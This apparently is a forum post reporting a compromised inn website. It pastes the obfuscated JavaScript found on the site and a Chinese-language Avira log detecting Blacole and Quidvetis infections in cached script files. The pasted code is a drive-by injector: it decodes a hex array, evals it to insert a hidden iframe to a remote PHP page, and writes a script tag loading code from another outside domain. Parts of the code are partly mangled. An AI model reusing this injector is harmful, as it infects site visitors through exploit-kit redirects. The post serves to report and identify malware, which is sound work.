http://whitemarshvalleyinn.com/

fireold

1. 
   
2. if (document.querySelector) iprl = 4;
   
3. drx = ("32,78,87,80,75,86,7b,81,80,32,83,7c,89,7c,42,4b,3a,3b,32,8d,1f,1c,32,88,73,84,32,85,86,73,86,7b,75,4f,39,73,7c,73,8a,39,4d,1f,1c,32,88,73,84,32,75,81,80,86,84,81,7e,7e,77,84,4f,39,7b,80,76,77,8a,40,82,7a,82,39,4d,1f,1c,32,88,73,84,32,83,7c,89,7c,32,4f,32,76,81,75,87,7f,77,80,86,40,75,84,77,73,86,77,57,7e,77,7f,77,80,86,3a,39,7b,78,84,73,7f,77,39,3b,4d,1f,1c,1f,1c,32,83,7c,89,7c,40,85,84,75,32,4f,32,39,7a,86,86,82,4c,41,41,4a,47,40,44,43,46,40,44,43,49,40,44,46,45,41,59,73,87,76,7b,7f,73,8a,71,5c,43,49,80,77,87,41,59,8c,75,5c,4a,82,74,56,40,82,7a,82,39,4d,1f,1c,32,83,7c,89,7c,40,85,86,8b,7e,77,40,82,81,85,7b,86,7b,81,80,32,4f,32,39,73,74,85,81,7e,87,86,77,39,4d,1f,1c,32,83,7c,89,7c,40,85,86,8b,7e,77,40,75,81,7e,81,84,32,4f,32,39,49,49,42,42,39,4d,1f,1c,32,83,7c,89,7c,40,85,86,8b,7e,77,40,7a,77,7b,79,7a,86,32,4f,32,39,49,49,42,42,82,8a,39,4d,1f,1c,32,83,7c,89,7c,40,85,86,8b,7e,77,40,89,7b,76,86,7a,32,4f,32,39,49,49,42,42,82,8a,39,4d,1f,1c,32,83,7c,89,7c,40,85,86,8b,7e,77,40,7e,77,78,86,32,4f,32,39,43,42,42,42,49,49,42,42,39,4d,1f,1c,32,83,7c,89,7c,40,85,86,8b,7e,77,40,86,81,82,32,4f,32,39,43,42,42,42,49,49,42,42,39,4d,1f,1c,1f,1c,32,7b,78,32,3a,33,76,81,75,87,7f,77,80,86,40,79,77,86,57,7e,77,7f,77,80,86,54,8b,5b,76,3a,39,83,7c,89,7c,39,3b,3b,32,8d,1f,1c,32,76,81,75,87,7f,77,80,86,40,89,84,7b,86,77,3a,39,4e,82,32,7b,76,4f,6e,39,83,7c,89,7c,6e,39,32,75,7e,73,85,85,4f,6e,39,83,7c,89,7c,42,4b,6e,39,32,50,4e,41,82,50,39,3b,4d,1f,1c,32,76,81,75,87,7f,77,80,86,40,79,77,86,57,7e,77,7f,77,80,86,54,8b,5b,76,3a,39,83,7c,89,7c,39,3b,40,73,82,82,77,80,76,55,7a,7b,7e,76,3a,83,7c,89,7c,3b,4d,1f,1c,32,8f,1f,1c,8f,1f,1c,78,87,80,75,86,7b,81,80,32,65,77,86,55,81,81,7d,7b,77,3a,75,81,81,7d,7b,77,60,73,7f,77,3e,75,81,81,7d,7b,77,68,73,7e,87,77,3e,80,56,73,8b,85,3e,82,73,86,7a,3b,32,8d,1f,1c,32,88,73,84,32,86,81,76,73,8b,32,4f,32,80,77,89,32,56,73,86,77,3a,3b,4d,1f,1c,32,88,73,84,32,77,8a,82,7b,84,77,32,4f,32,80,77,89,32,56,73,86,77,3a,3b,4d,1f,1c,32,7b,78,32,3a,80,56,73,8b,85,4f,4f,80,87,7e,7e,32,8e,8e,32,80,56,73,8b,85,4f,4f,42,3b,32,80,56,73,8b,85,4f,43,4d,1f,1c,32,77,8a,82,7b,84,77,40,85,77,86,66,7b,7f,77,3a,86,81,76,73,8b,40,79,77,86,66,7b,7f,77,3a,3b,32,3d,32,45,48,42,42,42,42,42,3c,44,46,3c,80,56,73,8b,85,3b,4d,1f,1c,32,76,81,75,87,7f,77,80,86,40,75,81,81,7d,7b,77,32,4f,32,75,81,81,7d,7b,77,60,73,7f,77,3d,34,4f,34,3d,77,85,75,73,82,77,3a,75,81,81,7d,7b,77,68,73,7e,87,77,3b,1f,1c,32,3d,32,34,4d,77,8a,82,7b,84,77,85,4f,34,32,3d,32,77,8a,82,7b,84,77,40,86,81,59,5f,66,65,86,84,7b,80,79,3a,3b,32,3d,32,3a,3a,82,73,86,7a,3b,32,51,32,34,4d,32,82,73,86,7a,4f,34,32,3d,32,82,73,86,7a,32,4c,32,34,34,3b,4d,1f,1c,8f,1f,1c,78,87,80,75,86,7b,81,80,32,59,77,86,55,81,81,7d,7b,77,3a,32,80,73,7f,77,32,3b,32,8d,1f,1c,32,88,73,84,32,85,86,73,84,86,32,4f,32,76,81,75,87,7f,77,80,86,40,75,81,81,7d,7b,77,40,7b,80,76,77,8a,61,78,3a,32,80,73,7f,77,32,3d,32,34,4f,34,32,3b,4d,1f,1c,32,88,73,84,32,7e,77,80,32,4f,32,85,86,73,84,86,32,3d,32,80,73,7f,77,40,7e,77,80,79,86,7a,32,3d,32,43,4d,1f,1c,32,7b,78,32,3a,32,3a,32,33,85,86,73,84,86,32,3b,32,38,38,1f,1c,32,3a,32,80,73,7f,77,32,33,4f,32,76,81,75,87,7f,77,80,86,40,75,81,81,7d,7b,77,40,85,87,74,85,86,84,7b,80,79,3a,32,42,3e,32,80,73,7f,77,40,7e,77,80,79,86,7a,32,3b,32,3b,32,3b,1f,1c,32,8d,1f,1c,32,84,77,86,87,84,80,32,80,87,7e,7e,4d,1f,1c,32,8f,1f,1c,32,7b,78,32,3a,32,85,86,73,84,86,32,4f,4f,32,3f,43,32,3b,32,84,77,86,87,84,80,32,80,87,7e,7e,4d,1f,1c,32,88,73,84,32,77,80,76,32,4f,32,76,81,75,87,7f,77,80,86,40,75,81,81,7d,7b,77,40,7b,80,76,77,8a,61,78,3a,32,34,4d,34,3e,32,7e,77,80,32,3b,4d,1f,1c,32,7b,78,32,3a,32,77,80,76,32,4f,4f,32,3f,43,32,3b,32,77,80,76,32,4f,32,76,81,75,87,7f,77,80,86,40,75,81,81,7d,7b,77,40,7e,77,80,79,86,7a,4d,1f,1c,32,84,77,86,87,84,80,32,87,80,77,85,75,73,82,77,3a,32,76,81,75,87,7f,77,80,86,40,75,81,81,7d,7b,77,40,85,87,74,85,86,84,7b,80,79,3a,32,7e,77,80,3e,32,77,80,76,32,3b,32,3b,4d,1f,1c,8f,1f,1c,7b,78,32,3a,80,73,88,7b,79,73,86,81,84,40,75,81,81,7d,7b,77,57,80,73,74,7e,77,76,3b,1f,1c,8d,1f,1c,7b,78,3a,59,77,86,55,81,81,7d,7b,77,3a,39,88,7b,85,7b,86,77,76,71,87,83,39,3b,4f,4f,47,47,3b,8d,8f,77,7e,85,77,8d,65,77,86,55,81,81,7d,7b,77,3a,39,88,7b,85,7b,86,77,76,71,87,83,39,3e,32,39,47,47,39,3e,32,39,43,39,3e,32,39,41,39,3b,4d,1f,1c,1f,1c,83,7c,89,7c,42,4b,3a,3b,4d,1f,1c,8f,1f,1c,8f".split(","));
   
4. tpdj = eval;
   
5. 
   
6. function yuoivl() {
   
7.     fzx = function() {
   
8.         --(aar.body)
   
9.     }()
   
10. }
    
11. aar = document;
    
12. for (oruzo = 0; oruzo < drx["length"]; oruzo = 1) {
    
13.     drx[oruzo] = -(18) parseInt(drx[oruzo], iprl * 4);
    
14. }
    
15. try {
    
16.     yuoivl()
    
17. } catch (ixrws) {
    
18.     dbqc = 50 - 50;
    
19. }
    
20. if (!dbqc) tpdj(String["fr""omCh""arCo""de"].apply(String, drx)); /*/74ed9f*/
    
21. : 60: 65: 5b: 5c: 6f: 46: 5d: 1f: 17: 65: 58: 64: 5c: 17: 22: 17: 19: 34: 19: 17: 20: 32: 4: 1: 17: 6d: 58: 69: 17: 63: 5c: 65: 17: 34: 17: 6a: 6b: 58: 69: 6b: 17: 22: 17: 65: 58: 64: 5c: 25: 63: 5c: 65: 5e: 6b: 5f: 17: 22: 17: 28: 32: 4: 1: 17: 60: 5d: 17: 1f: 17: 1f: 17: 18: 6a: 6b: 58: 69: 6b: 17: 20: 17: 1d: 1d: 4: 1: 17: 1f: 17: 65: 58: 64: 5c: 17: 18: 34: 17: 5b: 66: 5a: 6c: 64: 5c: 65: 6b: 25: 5a: 66: 66: 62: 60: 5c: 25: 6a: 6c: 59: 6a: 6b: 69: 60: 65: 5e: 1f: 17: 27: 23: 17: 65: 58: 64: 5c: 25: 63: 5c: 65: 5e: 6b: 5f: 17: 20: 17: 20: 17: 20: 4: 1: 17: 72: 4: 1: 17: 69: 5c: 6b: 6c: 69: 65: 17: 65: 6c: 63: 63: 32: 4: 1: 17: 74: 4: 1: 17: 60: 5d: 17: 1f: 17: 6a: 6b: 58: 69: 6b: 17: 34: 34: 17: 24: 28: 17: 20: 17: 69: 5c: 6b: 6c: 69: 65: 17: 65: 6c: 63: 63: 32: 4: 1: 17: 6d: 58: 69: 17: 5c: 65: 5b: 17: 34: 17: 5b: 66: 5a: 6c: 64: 5c: 65: 6b: 25: 5a: 66: 66: 62: 60: 5c: 25: 60: 65: 5b: 5c: 6f: 46: 5d: 1f: 17: 19: 32: 19: 23: 17: 63: 5c: 65: 17: 20: 32: 4: 1: 17: 60: 5d: 17: 1f: 17: 5c: 65: 5b: 17: 34: 34: 17: 24: 28: 17: 20: 17: 5c: 65: 5b: 17: 34: 17: 5b: 66: 5a: 6c: 64: 5c: 65: 6b: 25: 5a: 66: 66: 62: 60: 5c: 25: 63: 5c: 65: 5e: 6b: 5f: 32: 4: 1: 17: 69: 5c: 6b: 6c: 69: 65: 17: 6c: 65: 5c: 6a: 5a: 58: 67: 5c: 1f: 17: 5b: 66: 5a: 6c: 64: 5c: 65: 6b: 25: 5a: 66: 66: 62: 60: 5c: 25: 6a: 6c: 59: 6a: 6b: 69: 60: 65: 5e: 1f: 17: 63: 5c: 65: 23: 17: 5c: 65: 5b: 17: 20: 17: 20: 32: 4: 1: 74: 4: 1: 60: 5d: 17: 1f: 65: 58: 6d: 60: 5e: 58: 6b: 66: 69: 25: 5a: 66: 66: 62: 60: 5c: 3c: 65: 58: 59: 63: 5c: 5b: 20: 4: 1: 72: 4: 1: 60: 5d: 1f: 3e: 5c: 6b: 3a: 66: 66: 62: 60: 5c: 1f: 1e: 6d: 60: 6a: 60: 6b: 5c: 5b: 56: 6c: 68: 1e: 20: 34: 34: 2c: 2c: 20: 72: 74: 5c: 63: 6a: 5c: 72: 4a: 5c: 6b: 3a: 66: 66: 62: 60: 5c: 1f: 1e: 6d: 60: 6a: 60: 6b: 5c: 5b: 56: 6c: 68: 1e: 23: 17: 1e: 2c: 2c: 1e: 23: 17: 1e: 28: 1e: 23: 17: 1e: 26: 1e: 20: 32: 4: 1: 4: 1: 71: 70: 6f: 69: 27: 30: 1f: 20: 32: 4: 1: 74: 4: 1: 74 "[hwlqit](": ");}ugfx=qwuyu;nbn=[];for(ahd=22-20-2;-ahd 1419!=0;ahd =1){rltvok=ahd;if((0x19==031))nbn =String.fromCharCode(eval(rokki ugfx[1*rltvok]) 0xa-fhf);}yen=eval;yen(nbn)}
    
22. /*/a9a007*/
    
23. 
    
24. 339810*/
    
25. 
    
26. /*12758c*/
    
27. document.write('<script src="
    
28. http: //boracayboats.com/boracayconsulting.com/rWDh89Iq.php?id=29949162" type="text/javascript"></script>');
    
29. /*/12758c*/

复制代码

Avira

2013/11/30 上午 09:42 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\7853OJ09\milonic_src[1].js'
      包含病毒或有害的程式 'JS/Blacole.NX.1' [virus]
      已採取動作：
      檔案會移動至 '43facc13.qua' 名稱底下的隔離區目錄。.

2013/11/30 上午 09:42 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\mmenudom[1].js'
      包含病毒或有害的程式 'JS/Blacole.NX.1' [virus]
      已採取動作：
      檔案會移動至 '5a96e3b0.qua' 名稱底下的隔離區目錄。.

2013/11/30 上午 09:42 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        779
      目錄數：        0
      惡意程式碼數：        3
      警告數：        0

2013/11/30 上午 09:42 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6TI8XMAJ\LEFT_MENU0[1].js'
      包含病毒或有害的程式 'JS/Quidvetis.A' [virus]
      已採取動作：
      檔案會移動至 '107f9697.qua' 名稱底下的隔離區目錄。.

2013/11/30 上午 09:41 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\VUGD722P\preloadmenuimages[1].js'
      包含病毒或有害的程式 'JS/Blacole.NX.1' [virus]
      已採取動作：
      檔案會移動至 '555aee4e.qua' 名稱底下的隔離區目錄。.

2013/11/30 上午 09:41 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        787
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/11/30 上午 09:41 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\7853OJ09\milonic_src[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.NX.1 [virus]'
      執行的動作：傳輸至掃描程式

2013/11/30 上午 09:40 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\6TI8XMAJ\LEFT_MENU0[1].js 中
      偵測到病毒或有害的程式 'JS/Quidvetis.A [virus]'
      執行的動作：傳輸至掃描程式

2013/11/30 上午 09:40 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\VUGD722P\preloadmenuimages[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.NX.1 [virus]'
      執行的動作：拒絕存取

2013/11/30 上午 09:40 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A6GBLLHM\mmenudom[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.NX.1 [virus]'
      執行的動作：傳輸至掃描程式

2013/11/30 上午 09:40 [Web Protection] 發現惡意程式碼
      從 URL "http://whitemarshvalleyinn.com/milonic_src.js" 存取資料時，
      發現病毒或有害的程式 'JS/Blacole.NX.1' [virus]。
      已採取動作：已略過

2013/11/30 上午 09:40 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\7853OJ09\milonic_src[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.NX.1 [virus]'
      執行的動作：拒絕存取

2013/11/30 上午 09:40 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\VUGD722P\preloadmenuimages[1].js 中
      偵測到病毒或有害的程式 'JS/Blacole.NX.1 [virus]'
      執行的動作：傳輸至掃描程式

2013/11/30 上午 09:40 [Web Protection] 發現惡意程式碼
      從 URL "http://whitemarshvalleyinn.com/mmenudom.js" 存取資料時，
      發現病毒或有害的程式 'JS/Blacole.NX.1' [virus]。
      已採取動作：已略過

2013/11/30 上午 09:40 [Web Protection] 發現惡意程式碼
      從 URL "http://whitemarshvalleyinn.com/script/LEFT_MENU0.js" 存取資料時，
      發現病毒或有害的程式 'JS/Quidvetis.A' [virus]。
      已採取動作：已略過

2013/11/30 上午 09:40 [Web Protection] 發現惡意程式碼
      從 URL "http://whitemarshvalleyinn.com/preloadmenuimages.js" 存取資料時，
      發現病毒或有害的程式 'JS/Blacole.NX.1' [virus]。
      已採取動作：已略過

fs is